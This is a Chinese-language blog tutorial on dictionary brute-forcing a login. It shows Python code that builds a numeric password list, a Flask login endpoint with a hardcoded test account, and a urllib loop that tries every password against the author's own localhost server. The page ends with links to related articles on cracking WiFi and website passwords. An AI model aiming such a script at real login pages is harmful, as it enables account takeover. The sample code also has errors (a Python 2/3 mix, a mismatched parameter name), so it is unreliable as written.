Python - 自導自演 密碼字典暴力破解
![1622166-c8e7654f316396b0.jpg](https://i.iter01.com/images/e2e7cd7f7bc0b27438ed5e50240f44bf9568de5547576efa40ae67a3ccdb73b3.jpg)
破解.jpg
簡介
- 任何東西都是雙面的,包括程式。(攻擊方與防禦方,相當於矛與盾)
-
密碼字典
所謂的密碼字典,主要是配合密碼破譯軟體所使用,密碼字典裡包括許多人們習慣性設定的密碼,這樣可以提高密碼破譯軟體的密碼破譯成功率和命中率,縮短密碼破譯的時間,當然,如果一個人密碼設定沒有規律或很複雜,未包含在密碼字典裡,這個字典就沒有用了,甚至會延長密碼破譯所需要的時間
-
暴力破解(窮舉法)
窮舉法的基本思想是根據題目的部分條件確定答案的大致範圍,並在此範圍內對所有可能的情況逐一驗證,直到全部情況驗證完畢。若某個情況驗證符合題目的全部條件,則為本問題的一個解;若全部情況驗證後都不符合題目的全部條件,則本題無解。窮舉法也稱為列舉法。
- 我們這裡就是採用 密碼字典 來做例子。
文章能教會我們什麼呢?
- 本文就是教大家如何使用 密碼字典 來破解一個沒有加驗證碼的登入介面。
第一步(生成密碼字典檔案)
我這裡使用的是 Python 來生成的。
先建立一個 .text 的檔案
cd xxx(資料夾路徑)
vi pass.textPython 中的 string 可以輸出所有的字元
import string
print(string.printable)
輸出為:0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[]^_`{|}~
我們這裡實驗就使用 所有數字 組成的集合了。這裡我們還用到了 itertools 如果想了解它 請點選我
建立一個 .py 檔案 。把下列程式碼 copy 進去
import sys
import string
import itertools
def get_strings():
chars = string.printable[:10]
strings = []
for i in xrange(min, max + 1):
strings.append((itertools.product(chars, repeat=i),))
return itertools.chain(*strings)
def make_dict():
f = open(file, 'a')
for x in list_str:
for y in x:
f.write("".join(y))
f.write('\n')
f.close()
print()
'Done'
while True:
if len(sys.argv) == 4:
try:
min = int(sys.argv[1])
max = int(sys.argv[2])
except:
print()
"wrong"
sys.exit(0)
if min <= max:
list_str = get_strings()
file = sys.argv[3]
make_dict()
sys.exit(0)
-
然後通過下列程式碼生成密碼字典
python xx.py 6(這個是最短長度) 6(這個是最長長度) .text檔案路徑(儲存路徑)
成功後如圖所示密碼字典.png
第二步 (編寫登入介面)
- 上一篇文章講過 如何編寫介面了,不懂的可以再去看下。
- 我們在之前的基礎上加一步驗證(這裡就省略了和資料庫的互動了,而是直接寫一個硬編碼)
- 程式碼如下
from flask import Flask
from flask import request
from flask import redirect
from flask import current_app
app = Flask(__name__)
@app.route('/user/login',methods=['GET'])
def start():
// flask 獲取 POST 引數
// print(request.form['yes'])
// print(request.form['hai'])
//flask獲取 GET 引數
username = request.args.get('username')
passworld = request.args.get('password')
if username == 'w123':
if passworld == '000456':
return 'ok'
else:
return 'error'
else:
return'error'
if __name__ == '__main__':
app.run()
可以看到上述程式碼 賬戶名:w123 密碼 000456
邏輯 就是 賬戶密碼正確 輸出ok 反之error
第三步 (破解)
- 這裡我們使用 Python 的 urllib 模組來模擬 請求
- 具體程式碼如下:
import urllib
import urllib.request
f=open("pass.text")
while 1:
pwd = f.readline().strip()
if not pwd:
print('字典已比對完。')
break
data = {}
data['passworld'] = pwd
data['username'] = 'w123'
url_parame = urllib.parse.urlencode(data)
url = "http://127.0.0.1:5000/user/login?"
all_url = url + url_parame
data = urllib.request.urlopen(all_url).read()
record = data.decode('UTF-8')
if record == 'ok':
print('破解出來了,密碼為',pwd)
break
else:
print('error')
附上一張成功的圖片
![1622166-bfc4d388cd34763b.png](https://i.iter01.com/images/cc776a5860c6cae87333a43d11147a3aa3b564c7ec7b03020d45b19c76b7d202.jpg)
破解成功.png
到這裡就算是OK了,這只是簡單的教程。
這裡涉及的只是沒有加驗證碼的介面,假如涉及到介面有驗證以及有次數限制,那就沒辦法了。
喜歡就請點個喜歡吧!!!
相關文章
- Python攻防-暴力破解附近區域網WIFI密碼PythonWiFi密碼
- 她被朋友自導自演黑客騙走29萬黑客
- 如何通過Python暴力破解網站登陸密碼Python網站密碼
- Python暴力破解網站登入密碼(帶token驗證)Python網站密碼
- node基金爬蟲,自導自演瞭解一下?爬蟲
- Python 字典推導式Python
- 22、Python 字典推導與集合推導Python
- 【超硬核】- python 3分鐘實現暴力破解wifi密碼EXE應用PythonWiFi密碼
- 自導自演的面試現場,趣學MySQL的10種檔案面試MySql
- 用生成模型為自己生成密碼,無懼暴力破解模型密碼
- 可穿戴市場的回暖,更像是巨頭們自導自演的遊戲遊戲
- 自導自演的面試現場之--你竟然不瞭解MySQL的組提交?面試MySql
- python 建立密碼Python密碼
- 自導自演的面試現場:說說char 和 varchar的區別你瞭解多少?面試
- 常見的弱口令 密碼字典 下載網站密碼網站
- 1.7.4. 保持管理員密碼與資料字典同步密碼
- 管理(003):保持管理員密碼與資料字典同步密碼
- 自動劫持root密碼密碼
- Python推導式(列表推導式、元組推導式、字典推導式和集合推導式)Python
- 直播app原始碼,登入時自動輸入密碼/自動記住密碼APP原始碼密碼
- python-字典Python
- Python dict(字典)Python
- python實現密碼破解Python密碼
- bzoj3439: Kpm的MC密碼(主席樹+DFS序+字典樹)密碼
- 使用python暴力破解mysql資料庫PythonMySql資料庫
- Python中字典dictPython
- Python字典dict用法Python
- 初學Python——字典Python
- Python中的字典Python
- Python---字典方法Python
- Python3 字典Python
- python3.2:字典Python
- Python羅技字典Python
- 【Python基礎】字典Python
- python字典新增_增Python
- Python 3 字典(Dictionary)Python
- Python字典介紹Python
- Python:字典的使用Python
- Python3自動生成MySQL資料字典的markdown文字PythonMySql